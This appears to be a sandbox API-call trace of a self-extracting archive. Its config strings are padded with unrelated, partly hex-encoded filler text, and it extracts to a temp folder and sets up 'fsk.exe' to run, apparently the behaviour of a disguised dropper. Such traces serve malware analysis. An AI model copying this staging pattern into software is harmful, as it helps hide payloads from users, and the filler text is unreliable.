CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.668] ExpandEnvironmentStringsW (in: lpSrc="U8471", lpDst=0x172020, nSize=0x1000 | out: lpDst="U8471") returned 0x6 [0067.668] OemToCharBuffA (in: lpszSrc="U", lpszDst=0x174034, cchDstLength=0x1 | out: lpszDst="U") returned 1 [0067.668] CharToOemBuffA (in: lpszSrc="U", lpszDst=0x174028, cchDstLength=0x1 | out: lpszDst="U") returned 1 [0067.668] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x172020, nSize=0x1000 | out: lpDst="1") returned 0x2 [0067.668] ExpandEnvironmentStringsW (in: lpSrc="%temp%\\62890218", lpDst=0x172020, nSize=0x1000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2e [0067.668] ExpandEnvironmentStringsW (in: lpSrc="fsk.exe muu=ksm ", lpDst=0x172020, nSize=0x1000 | out: lpDst="fsk.exe muu=ksm ") returned 0x11 [0067.669] SendMessageW (hWnd=0x20216, Msg=0x111, wParam=0x1, lParam=0x0) returned 0x0 [0067.669] GetDlgItemTextW (in: hDlg=0x20216, nIDDlgItem=102, lpString=0x1885b8, cchMax=1024 | out: lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0067.669] GetDlgItem (hDlg=0x20216, nIDDlgItem=104) returned 0x1025a [0067.669] SendMessageW (hWnd=0x1025a, Msg=0xb1, wParam=0x0, lParam=0xffffffff) returned 0x0 [0067.669] SendMessageW (hWnd=0x1025a, Msg=0xc2, wParam=0x0, lParam=0x41437c) returned 0x0 [0067.669] SetFocus (hWnd=0x1025a) returned 0x0 [0067.747] LoadStringW (in: hInstance=0x400000, uID=0xa5, lpBuffer=0x41aab8, cchBufferMax=512 | out: lpBuffer="Extracting files to %s folder") returned 0x1d [0067.747] wvsprintfW (in: param_1=0x186490, param_2="Extracting files to %s folder", arglist=0x182480 | out: param_1="Extracting files to C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218 folder") returned 72 [0067.747] GetDlgItem (hDlg=0x20216, nIDDlgItem=104) returned 0x1025a [0067.747] ShowWindow (hWnd=0x1025a, nCmdShow=5) returned 1 [0067.747] SendMessageW (hWnd=0x1025a, Msg=0xb1, wParam=0x0, lParam=0xffffffff) returned 0x0 [0067.747] SendMessageW (hWnd=0x1025a, Msg=0xc2, wParam=0x0, lParam=0x41437c) returned 0x0 [0067.747] SendMessageW (hWnd=0x1025a, Msg=0xb1, wParam=0x5f5e100, lParam=0x5f5e100) returned 0x0 [0067.747] SendMessageW (hWnd=0x1025a, Msg=0x43a, wParam=0x0, lParam=0x182414) returned 0xf800003f [0067.748] SendMessageW (hWnd=0x1025a, Msg=0x444, wParam=0x1, lParam=0x182414) returned 0x1 [0067.748] SendMessageW (hWnd=0x1025a, Msg=0xc2, wParam=0x0, lParam=0x186490) returned 0x48 [0067.752] SendMessageW (hWnd=0x1025a, Msg=0xb1, wParam=0x5f5e100, lParam=0x5f5e100) returned 0x48 [0067.753] SendMessageW (hWnd=0x1025a, Msg=0xc2, wParam=0x0, lParam=0x414554) returned 0x1 [0067.753] CreateDirectoryW (lpPathName="C:" (normalized: "c:"), lpSecurityAttributes=0x0) returned 0 [0067.753] GetLastError () returned 0xb7 [0067.753] CreateDirectoryW (lpPathName="C:\\Users" (normalized: "c:\\users"), lpSecurityAttributes=0x0) returned 0 [0067.753] GetLastError () returned 0xb7 [0067.753] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz" (normalized: "c:\\users\\aetadzjz"), lpSecurityAttributes=0x0) returned 0 [0067.753] GetLastError () returned 0xb7 [0067.753] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData" (normalized: "c:\\users\\aetadzjz\\appdata"), lpSecurityAttributes=0x0) returned 0 [0067.754] GetLastError () returned 0xb7 [0067.754] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local" (normalized: "c:\\users\\aetadzjz\\appdata\\local"), lpSecurityAttributes=0x0) returned 0 [0067.754] GetLastError () returned 0xb7 [0067.754] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp"), lpSecurityAttributes=0x0) returned 0 [0067.754] GetLastError () returned 0xb7 [0067.754] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218"), lpSecurityAttributes=0x0) returned 1 [0067.754] SetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218", dwFileAttributes=0x0) returned 1 [0067.755] GetLastError () returned 0xb7 [0067.755] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0067.755] GetTickCount () returned 0x1f8fe [0067.755] wvsprintfW (in: param_1=0x187db8, param_2="__tmp_rar_sfx_access_check_%u", arglist=0x182480 | out: param_1="__tmp_rar_sfx_access_check_18129278") returned 35 [0067.755] CreateFileW (lpFileName="__tmp_rar_sfx_access_check_18129278" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\__tmp_rar_sfx_access_check_18129278"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c [0067.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="__tmp_rar_sfx_access_check_18129278", cchWideChar=-1, lpMultiByteStr=0x186dad, cbMultiByte=16777216, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="__tmp_rar_sfx_access_check_18129278", lpUsedDefaultChar=0x0) returned 36 [0067.755] CloseHandle (hObject=0x1c) returned 1 [0067.755] DeleteFileW (lpFileName="__tmp_rar_sfx_access_check_18129278" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\__tmp_rar_sfx_access_check_18129278")) returned 1 [0067.756] GetDlgItem (hDlg=0x20216, nIDDlgItem=103) returned 0x10258 [0067.756] ShowWindow (hWnd=0x10258, nCmdShow=0) returned 1 [0067.756] GetDlgItem (hDlg=0x20216, nIDDlgItem=102) returned 0x10252 [0067.756] ShowWindow (hWnd=0x10252, nCmdShow=0) returned 1 [0067.756] GetDlgItem (hDlg=0x20216, nIDDlgItem=1) returned 0x10264 [0067.756] EnableWindow (hWnd=0x10264, bEnable=0) returned 0 [0067.756] GetDlgItem (hDlg=0x20216, nIDDlgItem=105) returned 0x1025c [0067.756] ShowWindow (hWnd=0x1025c, nCmdShow=9) returned 0 [0067.756] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="") returned 1 [0067.756] GetDlgItem (hDlg=0x20216, nIDDlgItem=101) returned 0x10250 [0067.756] GetWindowLongW (hWnd=0x10250, nIndex=-16) returned 1342341120 [0067.756] SetWindowLongW (hWnd=0x10250, nIndex=-16, dwNewLong=1342341248) returned 1342341120 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, 